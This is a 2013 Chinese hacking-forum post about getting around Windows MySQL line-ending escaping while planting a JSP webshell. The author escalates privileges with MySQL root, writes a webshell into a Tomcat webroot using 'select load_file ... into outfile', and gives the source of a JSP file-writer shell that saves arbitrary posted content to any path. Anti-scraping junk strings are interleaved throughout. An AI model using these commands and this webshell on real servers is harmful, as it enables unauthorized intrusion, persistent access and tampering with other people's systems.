中国网络渗透测试联盟
标题:
解决Win下MySQL root导出Webshell换行符问题
[打印本页]
作者:
admin
时间:
2013-3-8 21:52
标题:
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
1 x {4 z8 K: P7 W4 S6 K+ y6 l" P
S- {; p8 u+ H- s1 V
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
* L) o/ a, G0 l2 ^$ H5 E) W/ H
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
2 o& y/ M( t% d% l0 ^
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
: D! H/ R. O/ s) B1 l8 I$ L. m
1 show variables like '%plugin%';
0 x6 Q' y! L W9 r0 c" z& t; O
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
% `0 U+ \+ |9 P; u
创建自定义函数似乎被拦截,一直失败。
8 C7 {! _0 l' N6 W" A# K8 w h
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
* M% t0 _8 F* X1 w8 i8 J
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
`" [9 n# Y. a, h
用mysql执行语句:
; j7 E* ?! H$ G( B; `/ a0 f7 Q
1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
; R3 Y. U; S5 G% R
2 复制代码
* c' F( v, w8 N
后成功。
, A' S* W" P# c* R l$ K
但是访问后得到如下提示:
1 U/ E; v2 s/ T) D: }/ m8 t
500页面
/ T* ]' D% Y9 L! E' d, ?
2 f. ^& m8 P% V& {0 r
3 A) O8 e3 |' [0 K: r$ I) i
明显是MySQL的Win下版本自动添加转义符\n\r了
1 u0 g( O- V8 L
这样导致程序运行的悲剧。
! @& R8 z9 I6 [& S# E
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
+ B( {/ l* W) R) V! o
最后弄了这么个小脚本:
! u2 M0 R* n* u& f E: b
01 <%@ page language="java" pageEncoding="gbk"%>
) c" Y( D$ s$ N: k+ w
02 <jsp:directive.page import="java.io.File"/>
' o% M. x3 S" D) B8 X
03 <jsp:directive.page import="java.io.OutputStream"/>
7 S- ^# v) M% ~ u* ~8 I" H. r4 V
04 <jsp:directive.page import="java.io.FileOutputStream"/>
, I' d `1 ~. i3 R& V. _' Q2 V
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
8 b/ j; n9 y2 j0 B* G8 j
06 error
www.2cto.com
2 o* Y e7 i$ i
07 <%}}if(i==0){%>
7 h$ [3 M9 @: f5 R! e
08 ok
: D3 t8 n' ~3 r+ r7 e
09 <%}%>
) i) W+ b' s& b) t% {
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
2 l( y/ A- a {) Q! }$ ?
就可以避免转义符让JSP的马儿运行500错误了。
$ ]' _. j- h* `2 Q* [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2